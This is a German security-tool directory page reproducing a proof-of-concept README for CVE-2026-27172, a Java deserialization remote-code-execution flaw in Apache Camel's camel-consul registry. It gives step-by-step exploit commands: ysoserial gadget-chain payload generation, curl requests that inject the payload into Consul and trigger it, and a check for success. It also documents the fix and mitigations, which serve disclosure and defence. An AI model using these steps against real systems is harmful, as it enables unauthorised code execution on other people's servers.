Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-27172 — # Reproducer für CVE-2026-27172: Apache Camel camel-consul ConsulRegistry Java-Deserialisierung (RCE) | Kitploit
Tools/GitHubGitHub/oscerd/cve-2026-27172
SchwachstellenanalyseExploitationPenetrationstestsLernen & BildungPayload-EntwicklungBinary-Exploitation
GitHuboscerd/cve-2026-27172

CVE-2026-27172

# Reproducer für CVE-2026-27172: Apache Camel camel-consul ConsulRegistry Java-Deserialisierung (RCE)

Repository anzeigen
2vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

camel-consul ConsulRegistry Deserialisierungs-Schwachstellen-Reproducer (CVE-2026-27172)

Dieses Projekt demonstriert eine Java-Deserialisierungs-Schwachstelle in Apache Camels camel-consul-Komponente (ConsulRegistry), bekannt als CVE-2026-27172. Es handelt sich um die gleiche Klasse von Problemen wie CVE-2024-22369, CVE-2024-23114 und CVE-2026-25747, die bei der ursprünglichen Behebung dieser CVEs übersehen wurde.

Sicherheitshinweis: https://camel.apache.org/security/CVE-2026-27172.html

Zusammenfassung der Sicherheitslücke

EigenschaftWert
Komponentecamel-consul
Betroffene Klasseorg.apache.camel.component.consul.ConsulRegistry (ConsulRegistryUtils.deserialize)
Angreifbare MethodenlookupByName(), lookupByNameAndType(), findByTypeWithName(), findByType()
CWECWE-502: Deserialisierung nicht vertrauenswürdiger Daten
AuswirkungRemote Code Execution (RCE)
Betroffene VersionenVon 3.0.0 vor 4.14.6 und von 4.15.0 vor 4.18.1
Behobene Versionen4.14.6, 4.18.1, 4.19.0
JIRACAMEL-23029

Technische Details

ConsulRegistry verwendet den Consul Key/Value-Store als Camel-Registry. Wenn ein Bean nach Namen gesucht wird, wird der gespeicherte Wert Base64-dekodiert und mit einem rohen ObjectInputStream (und in betroffenen Versionen ohne ObjectInputFilter) deserialisiert:

root@kitploit:~
// ConsulRegistry.lookupByName(...)
public Object lookupByName(String key) {
    kvClient = consul.keyValueClient();
    return kvClient.getValueAsString(key).map(result -> {
        byte[] postDecodedValue = ConsulRegistryUtils.decodeBase64(result);
        return ConsulRegistryUtils.deserialize(postDecodedValue);   // kein Filter (betroffen)
    }).orElse(null);
}

// ConsulRegistryUtils.deserialize(...) - betroffene Version
static Object deserialize(byte[] bytes) {
    try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
        return in.readObject();   // KEINE FILTERUNG!
    }
}

Jedes Objekt, das im Consul KV-Store unter einem Schlüssel gespeichert ist, den Camel später nachschlägt, wird deserialisiert. Ein Angreifer, der in diesen KV-Pfad schreiben kann, kann eine Gadget-Chain-Nutzlast platzieren, die bei der Registry-Suche ausgeführt wird.

Voraussetzungen

  • Java 17+
  • Maven 3.8+
  • Ein laufender Consul-Agent (KV-Store) – z. B. über Docker
  • ysoserial (zur Nutzlastgenerierung)

Reproduktionsschritte

Schritt 1: Consul starten

root@kitploit:~
docker run -d --name consul -p 8500:8500 hashicorp/consul:1.17 agent -dev -client 0.0.0.0

Schritt 2: Anwendung bauen und starten

root@kitploit:~
mvn clean package -DskipTests
mvn spring-boot:run

Schritt 3: Registry-Schlüssel initialisieren

root@kitploit:~
curl http://localhost:8080/exploit/init

Schritt 4: Bösartige Nutzlast generieren

root@kitploit:~
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# Linux (harmloser Beweis: Datei erstellen). Unter macOS "open -a Calculator", unter Windows "calc.exe".
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64

ConsulRegistry speichert Base64-kodierte serialisierte Objekte, daher wird die Nutzlast als Base64 geliefert.

Schritt 5: Nutzlast in Consul KV injizieren

root@kitploit:~
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" \
  --data-binary @payload.b64

Schritt 6: Deserialisierung auslösen (RCE!)

root@kitploit:~
curl http://localhost:8080/exploit/trigger

lookupByName() liest den KV-Wert, dekodiert Base64 und deserialisiert ihn – die Gadget-Chain wird ausgeführt.

Schritt 7: Ausnutzung überprüfen

root@kitploit:~
ls -la /tmp/pwned

Wenn die Datei /tmp/pwned existiert, war der Exploit erfolgreich.

Angriffsvektoren

Die Schwachstelle wird ausgelöst, sobald die Registry ein Bean auflöst:

  1. Bean-Referenzen – .to("bean:..."), bean(...), .process("...") per Name rufen alle lookupByName() auf.
  2. Startauflösung – Beans, die während des Aufbaus der Routen aufgelöst werden.
  3. Typ-Suchen – findByType() / lookupByNameAndType() durchlaufen KV-Einträge und deserialisieren sie.

Ausnutzungsbedingungen

  1. Schreibzugriff auf den Consul KV-Store, der die Registry unterstützt:
    • Ein gemeinsam genutzter oder fehlkonfigurierter Consul-Cluster
    • Ein kompromittiertes/zu weitreichendes Consul-ACL-Token
    • Eine andere Schwachstelle, die einen KV-Schreib-Primitiv bereitstellt
  2. Eine Gadget-Bibliothek im Klassenpfad:
    • commons-collections:3.2.1 (CommonsCollections1-7-Gadgets)
    • Viele andere (siehe ysoserial)

Vergleich mit den verwandten CVEs

AspektCassandra (CVE-2024-23114)LevelDB (CVE-2026-25747)Consul (CVE-2026-27172)
Backend-SpeicherCassandra-TabelleLevelDB-DateiConsul KV-Store
ObjectInputFilter (vor Fix)keinerkeinerkeiner
FixObjectInputFilter-Allow-ListeObjectInputFilter-Allow-ListeObjectInputFilter-Allow-Liste
JIRACAMEL-20306CAMEL-22821CAMEL-23029

Empfohlener Fix

Der Fix (CAMEL-23029) fügt einen konfigurierbaren ObjectInputFilter (Standard java.**;org.apache.camel.**;!*) zu ConsulRegistryUtils.deserialize hinzu und stellt eine deserializationFilter-Option bereit, damit vertrauenswürdige Klassen in eine Allow-Liste aufgenommen werden können:

root@kitploit:~
static Object deserialize(byte[] bytes, String deserializationFilter) {
    try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
        if (deserializationFilter != null) {
            in.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
        }
        return in.readObject();
    }
}

Mitigation

Bis zum Upgrade auf eine behobene Version:

  1. Consul KV-Schreibzugriff einschränken auf die Identität der Camel-Anwendung selbst (Least-Privilege-ACL-Token).
  2. Gadget-Bibliotheken entfernen: Verwundbare Bibliotheken wie commons-collections 3.x upgraden oder entfernen.
  3. Netzwerksegmentierung: Den Consul-Cluster in einem vertrauenswürdigen Netzwerk isolieren.

Dateien

root@kitploit:~
CVE-2026-27172/
├── pom.xml                          # Maven-Konfiguration (betroffene camel-consul-Version)
├── README.md                        # Diese Datei
└── src/main/
    ├── java/com/example/
    │   ├── Application.java          # Spring-Boot-Einstiegspunkt
    │   ├── ConsulRegistryRoute.java  # Camel-Route (deaktiviert; zeigt echte Verwendung)
    │   └── ExploitController.java    # REST-Endpunkte für den PoC
    └── resources/
        └── application.properties

Haftungsausschluss

Dieser Reproducer wird ausschließlich für Sicherheitsforschung und autorisierten Test einer öffentlich offengelegten und behobenen Schwachstelle bereitgestellt. Verwenden Sie ihn nicht gegen Systeme ohne ausdrückliche Genehmigung.

Tool herunterladen